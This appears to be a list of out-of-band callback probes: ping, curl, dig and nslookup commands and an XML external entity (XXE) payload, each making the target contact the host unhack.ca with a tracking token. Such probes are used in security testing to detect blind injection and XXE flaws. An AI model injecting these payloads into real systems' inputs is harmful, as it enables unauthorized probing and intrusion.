$ ping -c1 -p 00e0b2c43e6cdda546fe0d1d97712700 unhack.ca
$ curl http://unhack.ca/p/e0b2c43e6cdda546fe0d1d977127
$ dig e0b2c43e6cdda546fe0d1d977127 @unhack.ca
$ dig e0b2c43e6cdda546fe0d1d977127.ns.unhack.ca
C:\> nslookup e0b2c43e6cdda546fe0d1d977127 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/e0b2c43e6cdda546fe0d1d977127">]> <foo>&xxe;</foo>